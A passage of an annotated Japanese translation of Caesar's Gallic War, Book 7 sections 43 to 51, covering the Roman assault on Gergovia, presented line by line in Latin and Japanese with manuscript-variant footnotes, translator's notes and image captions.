**リタウィックスと兄弟たちの財産を没収し、
*legatos ad Caesarem sui purgandi gratia mittunt. 
**カエサルのところへ使節たちを、自分たちを赦免することのために遣わした。
*③　Haec faciunt reciperandorum&lt;ref&gt;reciperandorum はα系写本の記述で、β系写本では recuperandorum となっている。&lt;/ref&gt; suorum causa; 
**これらを、配下の者たち（＝歩兵1万名）を取り戻すために行なったのだ。
*sed contaminati facinore et capti compendio ex direptis bonis, 
**しかし（彼らは）悪行に汚染されていて、略奪した財産の利得にとらわれており、
*quod ea res ad multos pertinebat, timore&lt;ref&gt;timore はα系写本の記述で、β系写本では et timore となっている。&lt;/ref&gt; poenae exterriti 
**その事に多くの者たちが関与していたので、懲罰の恐れに脅かされて、
*consilia clam de bello inire incipiunt 
**ひそかに戦争の謀計に取りかかり始めて、
*civitatesque reliquas legationibus sollicitant. 
**ほかの諸部族を使節派遣によって、そそのかした。
*④　Quae tametsi Caesar intellegebat, tamen quam mitissime potest legatos appellat; 
**カエサルはそのようなことを認識していたけれども、（ハエドゥイー族の）使節たちにできるだけ平静に話しかけた。
*nihil se propter inscientiam levitatemque vulgi gravius de civitate iudicare 
**自分は（ハエドゥイー族の）民衆の無知や軽率さのために、部族を何ら厳重に裁断することはない、と。
*neque de sua in [[w:la:Haedui|Haeduos]] benevolentia deminuere. 
**自分のハエドゥイー族に対する好意を減ずることはない、と。
*⑤　Ipse maiorem Galliae motum exspectans, 
**（カエサル）自身は、ガッリアのより大きな動乱を予期しており、
*ne ab omnibus civitatibus circumsisteretur, 
**すべての部族によって包囲されることがないように、
*consilia inibat, quemadmodum ab&lt;ref&gt;ab はχ系写本の記述で、φ系写本では a となっており、β系写本にはない。&lt;/ref&gt; [[w:la:Gergovia|Gergovia]] discederet ac rursus omnem exercitum contraheret, 
**どのようにゲルゴウィアから撤退して再び軍隊全体を集結するか、策定に取りかかった。
*ne profectio nata ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; timore defectionis similis&lt;ref&gt;similis はα系写本の記述で、β系写本では similisque となっている。&lt;/ref&gt; fugae videretur.
**（諸部族の）背反の恐れから生じた出発が、逃亡同然と見られないように。

===44節===
'''ゲルゴウィアの急所の尾根'''
[[画像:Plateau_of_Gergovia.jpg|thumb|center|900px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の全景（南方のル・クレスト [[w:fr:Le Crest|Le Crest]] から撮影）。&lt;br&gt;画像中央の右下に、ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵が見える。&lt;br&gt;本節①項で言及されているのは画像の左端に写る丘陵と思われ、尾根伝いにほぼ平坦なゲルゴウィアの山頂（画像中央）に続いている。&lt;br&gt;これらの位置関係の推定は、19世紀の[[w:ウジェーヌ・ストッフェル|ウジェーヌ・ストッフェル]]大佐（colonel Eugène Stoffel）の発掘調査に依拠したものである。]]
[[画像:La_Roche_Blanche.JPG|thumb|right|300px|ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵]]

*①　Haec cogitanti accidere visa est facultas bene rei gerendae&lt;ref&gt;rei gerendae はα系写本の記述で、β系写本では gerendae rei となっている。&lt;/ref&gt;. 
**（カエサルが）これらを考慮しているときに、事をうまく行なえる可能性が生じたと思われた。
*Nam cum in minora castra operis perspiciendi causa venisset, 
**すなわち、（ローマ勢の）小さい方の陣営に、作業を視察するためにやって来たときに、
*animadvertit collem qui ab hostibus tenebatur nudatum hominibus, 
**敵たちによって占められていた丘陵が、無人にされているのに気付いた。
*qui superioribus diebus vix prae multitudine cerni poterat. 
**それは、前日には、（ガッリア勢の）大勢の者たちのためにほとんど見分けが付けられないものだった。
*②　Admiratus quaerit ex perfugis causam, 
**（カエサルは）驚いて、（ゲルゴウィアからの）[[w:脱走兵|脱走兵]]たちに理由を尋ねた。
*quorum magnus ad eum cotidie numerus confluebat. 
**その者たちの多数は、毎日、彼（カエサル）のところへ群がり集まっていたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#14節|14節]]⑨項で既述のように、ガッリア勢は[[w:兵役逃れ|兵役忌避]]の多さに悩まされていた。）&lt;/span&gt;
*③　Constabat inter omnes 
**（脱走兵たち）皆の間では同じ意見であった。
*─ quod iam ipse Caesar per exploratores cognoverat ─ 
**─ すでにカエサル自身が偵察者たちを通して知っていたことであったが ─
*dorsum esse eius iugi prope aequum, sed silvestre&lt;ref&gt;silvestre はβ系写本の記述で、α系写本では hunc silvestrem となっている。&lt;/ref&gt; et angustum, 
**その尾根の背面はほぼ平地で、しかし森林におおわれて狭く、
*qua esset aditus ad alteram partem oppidi&lt;ref&gt;partem oppidi はα系写本の記述で、β系写本では oppidi partem となっている。&lt;/ref&gt;; 
**それによって城塞都市の別の方面への出入口となっている、と。
*④　vehementer huic illos loco&lt;ref&gt;vehementer huic illos loco はα系写本の記述で、β系写本では huic loco vehementer illos となっている。&lt;/ref&gt; timere nec iam aliter sentire, 
**この地帯を彼ら（ガッリア勢）が極度に恐れ、すでに感じていたことには、
*uno colle ab Romanis occupato, si alterum amisissent, 
**ローマ人によって一つの丘陵が占領されているので、もしもう一方をも失ったならば、
*quin paene circumvallati atque omni exitu et pabulatione interclusi viderentur; 
**（ゲルゴウィアが）ほとんど包囲されて、あらゆる出口と糧秣徴発を阻まれると思われたのである。
*ad hunc muniendum locum&lt;ref&gt;locum はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; omnes a [[w:la:Vercingetorix|Vercingetorige]] evocatos.
**この地帯の辺りを防御するために、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]により総勢が召集されていたのだ、と。

===45節===
'''ローマ勢の陽動部隊が敵を引き付け、本隊が敵の本陣を目指す'''
*①　Hac re cognita Caesar mittit complures equitum turmas eodem&lt;ref&gt;eodem はβ系写本の記述で、α系写本では eisdem などとなっており、またモイゼル（Meusel）は eo de と解釈している。&lt;/ref&gt; media nocte; 
**この事を知って、カエサルは多数の[[w:騎兵|騎兵]]&lt;ruby&gt;&lt;rb&gt;小隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥルマ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を同じところに真夜中に派遣した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：騎兵小隊 turma は、ローマの同盟部族などからなる騎兵の単位で、30騎ほどからなるとされている。）&lt;/span&gt;
*imperat his&lt;ref&gt;his はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; ut paulo tumultuosius omnibus locis vagarentur&lt;ref&gt;vagarentur はα系写本の記述で、β系写本では pervagentur となっている。&lt;/ref&gt;. 
**彼らには、いくらか騒々しく、あらゆる場所を動き回るように命令した。
*②　Prima luce magnum numerum impedimentorum ex castris mulorumque produci deque his stramenta detrahi 
**夜明けに、陣営から多数の荷馬や[[w:ラバ|ラバ]]を連れ出して、これらから[[w:鞍|荷鞍]]を取り去って、
*mulionesque cum cassidibus equitum specie ac simulatione collibus circumvehi iubet. 
**ラバ引きの者たちを鉄兜とともに、騎兵の外見と真似をさせて、丘々を乗り回すことを命じた。
*③　His paucos addit equites, qui latius ostentationis causa vagarentur&lt;ref&gt;vagarentur はα系写本の記述で、β系写本では vagentur となっている。&lt;/ref&gt;. 
**彼らに少数の騎兵を付き添わせて、より広く見せびらかすために動き回らせた。
*Longo circuitu easdem omnes iubet petere regiones. 
**（ラバ引きと騎兵の）皆には、長く迂回して、同じ一帯を目指すことを命じた。
*④　Haec procul ex oppido videbantur, ut erat a Gergovia despectus in castra, 
**これらは&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;から遠くに望見され、ゲルゴウィアから（ローマ勢の）陣営が眺められたほどであったが、
*neque tanto spatio certi quid esset explorari poterat. 
**これほどの距離のために（ガッリア勢からは）何ごとか確かなことは探り出されなかった。
*⑤　Legionem unam eodem iugo mittit 
**（カエサルは）1個[[w:ローマ軍団|軍団]]を同じ尾根に派遣して、
*et paulum progressam inferiore constituit loco silvisque occultat. 
**いくらか前進させて低い場所に駐留させ、森林に隠した。
*⑥　Augetur Gallis suspicio 
**（これらを見た）ガッリア人には疑念が増されて、
*atque omnes illo ad munitionem copiae traducuntur. 
**軍勢のすべてがあそこ（＝無人にしていた急所の丘陵）へ防御のために移動した。
*⑦　Vacua castra hostium Caesar conspicatus 
**カエサルは敵たちの（ゲルゴウィア山頂の）陣営が空であると気付いて、
*tectis insignibus suorum occultatisque signis militaribus 
**配下の者たちの標章を覆い隠し、軍旗を隠して、
*raros milites, ne ex oppido animadverterentur, ex maioribus castris in minora traducit 
**兵士たちをまばらに、城塞都市から気付かれないように、大きい方の陣営から小さい方に移動させた。
*legatisque, quos singulis legionibus praefecerat, quid fieri velit, ostendit; 
**個々の軍団を指揮させていた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、何がなされることを欲しているかを示した。
*⑧　in primis monet ut contineant milites, 
**第一に、兵士たちを抑え留めるように戒めた。
*ne studio pugnandi aut spe praedae longius progrediantur; 
**（兵士たちが）戦うことの熱意、あるいは略奪の希望により、より遠くまで進み出ないように、と。
*⑨　quid iniquitas loci habeat incommodi proponit; 
**地勢の不利がどれほど敗北を生じるかを示した。
*hoc una celeritate posse vitari&lt;ref&gt;vitari はβ系写本の記述で、α系写本では mutari となっている。&lt;/ref&gt;; 
**迅速さのみがこれを避けることができる。
*occasionis esse rem, non proelii. 
**事の成否は、戦闘にではなく、好機にかかっている。
*⑩　His rebus expositis signum dat 
**これらの事柄を説明して、（副官たちに進軍の）号令を出した。
*et ab dextra parte alio ascensu eodem tempore Haeduos mittit.
**右の方面からは、別の登り道を（ローマ軍本隊と）同時に[[w:ハエドゥイ族|ハエドゥイー族]]（の騎兵）を派遣した。

===46節===
'''ローマ軍の本隊が防壁を越えて、敵陣の一部を占拠'''
*①　Oppidi murus ab&lt;ref&gt;ab はB･M･L･N写本の記述で、β系写本では a となっている。&lt;/ref&gt; planitie atque initio ascensus recta regione, 
**（ゲルゴウィアの）&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の城壁は、平地や登り道の始まりから真っ直ぐに（＝直線距離で）、
*si nullus amfractus&lt;ref&gt;amfractus はα系写本の記述で、β系写本では anfractus となっている。&lt;/ref&gt; intercederet, mille CC(mille ducenti)&lt;ref&gt;mille CC(=1200) はα系写本の記述で、β系写本では CC（=200）となっている。&lt;/ref&gt; passus aberat; 
**もし何らの湾曲が間になければ、1200[[w:パッスス|パッスス]]（＝約1.8km）離れていた。
*②　quicquid huc circuitus ad molliendum clivum accesserat&lt;ref&gt;accesserat は写本(ω)の記述だが、オットー・ゼール [[w:de:Otto Seel|Otto Seel]] の校訂では accesserit としている。&lt;/ref&gt;, 
**ここに（山の斜面の）傾斜を緩和するために、何らかの回り道が付け加わっていて、
*id spatium itineris augebat. 
**その道のりの距離を増していた。
*③　A medio fere colle in longitudinem, ut natura montis ferebat, 
**丘陵のほぼ真ん中から、山の地形が作り出したかのように、長きにわたって、
*ex grandibus saxis sex pedum murum qui nostrum&lt;ref&gt;nostrum は中世の写本(ω)の記述だが、近世の版では nostrorum となっている。&lt;/ref&gt; impetum tardaret, 
**大きな石垣からなる6[[w:ペース (長さ)|ペース]]（＝約1.8m）もの、我が方（ローマ勢）の突進を遅らせる防壁を、
*praeduxerant Galli, 
**ガッリア人は引いて来ており、
*atque inferiore omni spatio vacuo relicto 
**（その石垣の防壁）より下方のすべての空間は人気なく残されていて、
*superiorem partem collis usque ad murum oppidi densissimis castris compleverant. 
**丘陵のより上方の部分を、城塞都市の城壁の方へ続けざまに、とても密集した（各部族ごとの）陣営で満たしていた。
*④　Milites dato signo celeriter ad munitionem perveniunt 
**（ローマ人の）兵士たちは号令を与えられて、速やかに（石垣の）防壁のところへ到達して、
*eamque transgressi trinis castris potiuntur; 
**それを越えて行って、3つの（部族ごとの）陣営を占拠した。
*⑤　ac tanta fuit in castris capiendis&lt;ref&gt;castris capiendis はα系写本の記述で、β系写本では capiendis castris となっている。&lt;/ref&gt; celeritas, 
**（3つの）陣営を奪取することにおいて、これほどにも迅速さがあったので、
*ut Teutomatus, rex Nitiobrogum, subito in tabernaculo oppressus, 
**その結果、[[w:ニティオブロゲス族|ニティオブロゲス族]]の王[[w:テウトマトゥス|テウトマトゥス]]は、[[w:テント|天幕]]において突然に襲われて、
*ut meridie conquieverat, superiore corporis parte nudata&lt;ref&gt;nudata はα系写本の記述で、β系写本では nuda となっている。&lt;/ref&gt; 
**昼寝をしていたが、上半身は裸のままで、
*vulnerato equo vix se ex manibus praedantium militum eriperet.
**傷付けられた馬によって、略奪している（ローマ人）兵士の手から、やっと自らを救い出した。

===47節===
'''血気にはやるローマ兵たちの猪突猛進、ガッリア女たちの命乞い'''
*①　Consecutus id quod animo proposuerat 
**心に決めていたことを達成したので、
*Caesar receptui cani iussit 
**カエサルは退却ラッパを吹くことを命じた。
*legionique decimae, quacum erat, contionatus signa constituit. 
**彼とともにいた[[w:第10軍団エクェストリス|第10軍団]]に呼びかけて、軍旗を停止した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：第10軍団はガッリア戦争初期からの最古参の軍団。軍旗を停止するとは、進軍を止めること。）&lt;/span&gt;
*②　Ac&lt;ref&gt;ac はα系写本の記述で、β系写本では at となっている。&lt;/ref&gt; reliquarum legionum milites non exaudito&lt;ref&gt;exaudito はα系写本の記述で、β系写本では audito となっている。&lt;/ref&gt; sono tubae, 
**ほかの[[w:ローマ軍団|軍団]]の兵士たちは、ラッパの響きを聞き取れなかった。
*quod satis magna valles intercedebat, 
**というのは、十分に大きな峡谷が間にあったからである。
*tamen ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tribunis militum legatisque, ut erat a Caesare praeceptum, retinebantur; 
**しかしながら、&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちにより、カエサルから指図されていたように、制止されていた。
*③　Sed elati spe celeris victoriae et hostium fuga et superiorum temporum secundis proeliis 
**だが（兵士たちは）迅速な勝利の希望や、敵たちの逃亡や、それ以前のときの順調な戦闘により、高慢になっていて、
*nihil adeo arduum sibi esse existimaverunt&lt;ref&gt;esse existimaverunt はα系写本の記述で、β系写本では existimabant となっている。&lt;/ref&gt;, quod non virtute consequi possent, 
**自分たちにとって、武勇で達することができないほどの困難なものはまったく何もない、と考えており、
*neque finem prius sequendi fecerunt quam muro oppidi portisque adpropinquarunt. 
**（ゲルゴウィアの）城塞都市の城壁や城門に近付くまでは、追及を終結させなかった。
*④　Tum vero ex omnibus urbis partibus orto clamore, 
**すると、まさに（ゲルゴウィアの）町のあらゆる方面から叫び声が発せられて、
*qui longius aberant, repentino tumultu perterriti, 
**（城内の）遠い方に離れていた者たちは、予期せぬ騒ぎに脅えており、
*cum hostem intra portas esse existimarent, 
**敵（＝ローマ人）が城門の内側にいると考えたので、
*sese ex oppido eiecerunt. 
**城塞都市から急ぎ出た。
*⑤　Matres familiae de muro vestem argentumque iactabant 
**家庭の母親たちは、城壁から衣類や貨幣をたびたび投げやった。
*et pectore nudo prominentes passis manibus obtestabantur Romanos, 
**そして胸を裸にして（城壁の上に）進み出て、手を伸ばしてローマ人たちに哀願した。
*ut sibi parcerent 
**自分たちを容赦するように、
*neu, sicut Avarici fecissent, ne a mulieribus quidem atque infantibus abstinerent; 
**（ローマ人が）アウァーリクムでしたように女たちや子供たちでさえも赦免しないことのないように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ローマ人がアウァーリクムでした行為については、[[#28節|28節]]④項を参照。）&lt;/span&gt;
*⑥　nonnullae de muris&lt;ref&gt;muris はα系写本の記述で、β系写本では mure となっている。&lt;/ref&gt; per manus demissae sese militibus tradebant. 
**少なからぬ者たちは、城壁から手で降ろされて、（ローマ人）兵士たちに身を任せた。

[[画像:Gergovie_mur_pano2.jpg|thumb|center|700px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）で発掘された城壁の遺構。]]

*⑦　L.(Lucius) Fabius centurio legionis VIII(octavae), 
**[[w:第8軍団アウグスタ|第8軍団]]の&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;であるルキウス・ファビウスは、
*quem inter suos eo die dixisse constabat 
**配下の者たちの間で、その日、（以下のように）言ったことが知られていた。
*excitari se Avaricensibus praemiis neque commissurum, ut prius quisquam murum ascenderet, 
**自分はアウァーリクムの恩賞に奮い立たせられて、何者かが（自分）より早く城壁を登るようなことは生じさせない、と。
*tres suos nactus manipulares 
**（ファビウスは）同じ隊の兵士である3人の配下と遭遇して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：manipulares は「[[w:マニプルス|歩兵中隊]]の」とも解されるが、ここでは「同じ隊の兵士」という意味であろう。）&lt;/span&gt;
*atque ab his sublevatus murum ascendit, 
**彼らによって持ち上げられて城壁を登った。
*hos&lt;ref&gt;hos はα系写本の記述で、π系写本では eos 、ρ系写本では eo となっている。&lt;/ref&gt; ipse rursus singulos exceptans in murum extulit.
**彼らは（ファビウス）自身が再び1人ずつ引き出して、城壁に導き上げた。

===48節===
'''ガッリア勢が城塞都市に引き返して、防戦に努める'''
*①　Interim hi&lt;ref&gt;hi はα系･π系･R写本の記述で、U写本では ii となっている。&lt;/ref&gt; qui ad alteram partem oppidi, ut supra demonstravimus, munitionis causa convenerant, 
**その間に、前に述べたように、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の別の方面へ、防御のために集結していた（ガッリア勢の）者たちは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#45節|45節]]⑥項で述べられている。）&lt;/span&gt;
*primo exaudito clamore, 
**初めに叫び声を聞き取り、
*inde etiam crebris nuntiis incitati oppidum ab Romanis teneri, 
**さらに、城塞都市がローマ人たちによって占領されたという頻繁な知らせにさえも駆り立てられて、
*praemissis equitibus magno concursu&lt;ref&gt;concursu はα系写本の記述で、β系写本では cursu となっている。&lt;/ref&gt; eo contenderunt. 
**[[w:騎兵|騎兵]]たちを先遣して、（歩兵たちも）駆けに駆けて、そこ（＝城塞都市）へ急いだ。

[[画像:Auvergne_Gaul_coin_CdM.jpg|thumb|right|300px|[[w:アルウェルニ族|アルウェルニー族]]の兵士が刻まれた貨幣（[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部所蔵）]]
*②　Eorum ut quisque primus venerat, 
**彼らの（城塞都市に）到着した者から順々に
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quisque primus「最初の者ごとに；順々に」）&lt;/span&gt;
*sub muro consistebat suorumque pugnantium numerum augebat. 
**城壁の下に陣取って、味方の戦う者たちの数を増した。
*③　Quorum cum magna multitudo convenisset, 
**その者たちの大群集が集結したときに、
*matres familiae quae paulo ante Romanis de muro manus tendebant, 
**少し前にはローマ人たちに城壁から手を差し出していた家庭の母親たちが
*suos obtestari 
**味方に哀願して、
*et more Gallico passum capillum ostentare liberosque in conspectum proferre coeperunt. 
**ガッリアの風習により、髪を広げて示し、子供たちを（男たちの）眼前に運び始めた。
*④　Erat Romanis nec loco nec numero aequa contentio; 
**ローマ人たちにとっては、地の利でも（兵の）数でも、対等な闘いはなかった。
*simul et cursu et spatio pugnae defatigati 
**と同時に、戦いの疾走や時間（の長さ）に疲弊させられていて、
*non facile recentes atque integros sustinebant.
**（ガッリア勢の）新来かつ無傷の者たちに、容易に持ちこたえられなかった。

===49節===
'''カエサルが劣勢の自軍に副官セクスティウスを増援する'''
*①　Caesar cum iniquo loco pugnari hostiumque augeri copias videret, 
**カエサルは（戦闘が自軍に）不利な場所で戦われていること、かつ敵方の軍勢が増やされていることを見たので、
*praemetuens suis 
**配下の者たちを気遣って、
*ad T.(Titum) Sextium legatum, quem minoribus castris praesidio reliquerat, misit, 
**小さい方の陣営に守備として残しておいた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ティトゥス・セクスティウスのところへ（伝令を）遣わして、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：セクスティウスについては、すでに副官として[[ガリア戦記 第6巻#1節|第6巻1節]]で言及されている。）&lt;/span&gt;
*ut cohortes ex castris celeriter educeret 
**陣営から（いくつかの）&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を速やかに進発させるように、
*et sub infimo colle ab dextro latere hostium constitueret, 
**かつ丘陵のふもとの下方で、敵方の右の側面に布陣するように、と。
*②　ut, si nostros loco depulsos vidisset, quominus libere hostes insequerentur terreret. 
**もし我が方が（戦闘の）場所から追いやられたのを見たら、敵方が自由に追撃することにならぬよう脅かすためである。
*③　Ipse paulum ex eo loco cum legione progressus, ubi constiterat, 
**（カエサル）自身は、停止していた場所から、軍団とともに少し前進して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（[[#47節|47節]]①項で既述のように、カエサルとともに停止していたのは[[w:第10軍団エクェストリス|第10軍団]]である。）&lt;/span&gt;
*eventum pugnae exspectabat.
**戦いの決着を待っていた。

===50節===
'''激戦の末、敗勢に陥るローマ軍'''
*①　Cum acerrime comminus pugnaretur, hostes loco et numero, nostri virtute confiderent, 
**（両軍により）激烈に格闘して戦われていて、敵方は地の利と（兵の）数を、我が方（ローマ軍）が武勇を頼りとしていたときに、
*subito sunt Haedui visi ab latere nostris aperto, 
**突如として、我が方にとって開けた側面（＝右側）から、[[w:ハエドゥイ族|ハエドゥイー族]]の者たち（の姿）が見られた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「開けた側面から」ab latere aperto とは、兵士の[[w:スクトゥム|長盾]]で覆われていない右側を指す。）&lt;/span&gt;
*quos Caesar ab dextra parte alio ascensu manus distinendae causa miserat. 
**カエサルがその者たちを右の方面から別の登り道により（敵の）部隊を分散しておくために派遣していたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この事は、[[#45節|45節]]⑩項で述べられている。）&lt;/span&gt;
*②　Hi similitudine armorum vehementer nostros perterruerunt, 
**彼らの武具が（ガッリア勢のものと）似ていることが、我が方（の兵士たち）を極度に怖れさせた。
*ac tametsi dextris humeris&lt;ref&gt;humeris が写本(ω)の記述であるが、umeris とするのも一般的となっている。&lt;/ref&gt; exsertis animadvertebantur, quod insigne pactum&lt;ref&gt;pactum はHellerによる修正提案で、写本(ω)では pacatum となっており、研究者たちにより他の修正も提案されている。&lt;/ref&gt; esse consuerat, 
**（ハエドゥイー勢は）右の肩を脱いでいるのが視認され、その印は（味方として）定められているのが常であったが、
*tamen id ipsum sui fallendi causa milites ab hostibus factum existimabant. 
**けれども（ローマ人の）兵士たちは、それ自体が自分たちを欺くために、敵方によりなされたと考えたのだ。

[[画像:Dorf_La_Roche_Blanche.JPG|thumb|right|300px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）の遠景（南方のル・クレスト [[w:fr:Le_Crest|Le Crest]] から撮影）。画像中央がローマ軍が小さい方の陣営を設置していたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La_Roche-Blanche_(Puy-de-Dôme)|La Roche Blanche]]）の丘陵で、山頂からこの丘陵の辺りが激戦地だったと思われる。現在は山麓にかけて住宅地が広がっている。]]

*③　Eodem tempore L.(Lucius) Fabius centurio quique una murum ascenderant, 
**同じ時に、&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ルキウス・ファビウスおよび一緒に城壁を登っていた者たちは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ファビウスらについては、[[#47節|47節]]⑦項で述べられている。）&lt;/span&gt;
*circumventi atque interfecti de&lt;ref&gt;de はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; muro praecipitabantur. 
**（ガッリア勢に）取り囲まれ、殺害されて、城壁から突き落とされた。
*④　M.(Marcus) Petronius, eiusdem legionis centurio, 
**同じ[[w:ローマ軍団|軍団]]の百人隊長マルクス・ペトロニウスは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ファビウスと同じ軍団とは、[[#47節|47節]]⑦項で述べられているように[[w:第8軍団アウグスタ|第8軍団]]である。）&lt;/span&gt;
*cum portas&lt;ref&gt;portas は写本(ω)の記述だが、portam と単数形にする修正も提案されている。&lt;/ref&gt; excidere conatus esset, 
**城門を突き破って出ることを試みていたときに、
*a multitudine oppressus ac sibi desperans multis iam vulneribus acceptis, 
**（敵の）大勢によって圧倒されて、すでに多くの傷を受けて自分に絶望しており、
*manipularibus suis, qui illum secuti erant&lt;ref&gt;secuti erant はα系写本の記述で、β系写本では erant secuti となっている。&lt;/ref&gt;, 
**彼に付き従っていた同じ隊の配下の者たちに、
*&quot;quoniam&quot; inquit &quot;me una vobiscum servare non possum, 
**曰く「私と諸君を一緒に救うことはできないのだから、
*vestrae quidem certe vitae prospiciam, quos cupiditate gloriae adductus in periculum deduxi. 
**せめて、栄誉の欲に引き寄せられて危険に引きずり込んでしまった諸君の生命にはきっと見通しを与えるであろう。
*⑤　Vos data facultate vobis consulite.&quot; 
**諸君は（生き延びる）可能性が与えられているから、諸君（自身）を助けたまえ。」
*Simul in medios hostes inrupit duobusque interfectis reliquos a porta paulum submovit. 
**と同時に、敵方の真ん中に押し入って、2名を殺害して、ほかの者たちを城門からいくらか退けた。
*⑥　Conantibus auxiliari suis 
**（ペトロニウスは自分の）支援を試みる配下の者たちに、
*&quot;frustra&quot; inquit &quot;meae vitae subvenire conamini, quem iam sanguis viresque deficiunt. 
**曰く「もはや血も活力も尽き果てた私の生命を助けることを試みているのは無益だ。
*Proinde abite, dum est facultas, vosque ad legionem recipite.&quot; 
**ゆえに（生き延びる）可能性がある間に立ち去れ。諸君は軍団のところへ退却せよ。」
*Ita pugnans post paulum&lt;ref&gt;paulum はα系･ρ系写本の記述で、π系写本では paululum となっており、paulo という修正提案もされている。&lt;/ref&gt; concidit ac suis saluti fuit.
**こうして（ペトロニウスは）戦って少し後で斃れ、配下の者たちにとっては救いとなった。

===51節===
[[画像:Monument_gergovie_fr.jpg|thumb|right|290px|[[w:ゲルゴウィアの戦い|ゲルゴウィア戦勝]]記念碑。[[w:1903年|1903年]]に[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]出身の建築家ジャン・テラール（[[w:fr:Jean Teillard|Jean Teillard]]）が、侵略者カエサルを撃退した郷土の英雄[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]に捧げるためにジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）に建立したものである。]]
